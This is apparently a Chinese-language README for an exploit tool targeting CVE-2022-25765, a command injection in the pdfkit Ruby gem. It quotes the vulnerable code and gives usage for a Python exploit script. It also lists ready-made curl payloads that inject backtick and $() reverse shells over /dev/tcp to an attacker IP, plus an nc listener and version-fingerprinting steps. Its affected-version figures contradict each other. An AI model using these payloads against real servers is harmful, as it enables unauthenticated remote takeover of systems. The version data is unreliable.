CVE-2022-25765 是一个影响 pdfkit(Ruby gem)< 0.8.7.2 版本的命令注入(Command Injection)漏洞。该漏洞严重性为 CRITICAL,CVSS 评分为 9.8,因为其允许在无需身份验证的情况下远程执行命令。
问题在于 pdfkit 将 url 参数直接传递给 shell,而未进行任何清理。该库在内部通过类似以下命令执行 wkhtmltopdf:
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
如果 URL 中包含 %20(URL 编码的空格)且后面跟随 反引号 ` 或 $(),shell 会将其中内容解释为命令并执行。
CVSS 3.1: 9.8(CRITICAL)— AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
pdfkit 中的漏洞代码(source.rb:44-50):
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
URL 被直接插入到 shell 命令中,未进行任何清理。通过包含 %20(空格),空格之后的内容会逃逸出 wkhtmltopdf 的参数上下文,而 \`` 或 $()` 则允许执行任意命令。
UNICORDev(@NicPWNs 和 @Dev-Yeoj)
原始 exploit 位于:
requests、urllib3pip install -r requirements.txt
# 自定义命令模式(生成 payload)
python3 exploit-CVE-2022-25765.py -c "whoami"
# 反向 shell 模式(生成 payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# Web 模式 — 直接向目标站点发送命令
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# Web 模式 — 直接向目标站点发起反向 shell
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# 帮助
python3 exploit-CVE-2022-25765.py -h
# 通过 curl 注入
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# 或使用 $() 代替反引号
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# 简单命令
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
判断服务器是否存在漏洞:
Creator: pdfkit v0.8.6# 发送 URL 并接收回调
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# 监听:nc -lnvp 4444
# 如果收到 User-Agent: wkhtmltopdf 的请求,说明该应用会转换 PDF
# 通过 PDF 元数据验证版本
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# 查找:"Generated by pdfkit v0.8.6"(存在漏洞)
url 参数,去除危险字符(\``、$()、%20`)| 字段 | 值 |
|---|
| CVE | CVE-2022-25765 |
| 产品 | pdfkit(Ruby gem) |
| 受影响版本 | 0.0.0 – 0.8.7.2 |
| 类型 | 命令注入(CWE-78) |
| 身份验证 | 不需要 |
| CVSS 3.1 | 9.8 CRITICAL |
| 补丁 | pdfkit ≥ 0.8.7.2 |
| 参数 | 描述 |
|---|
-c | 自定义命令 |
-s <IP> <PORT> | 反向 shell 模式 |
-w <URL> | 目标漏洞网站 URL(可选) |
-p <param> | POST 参数(可选,默认:url) |
-h | 帮助 |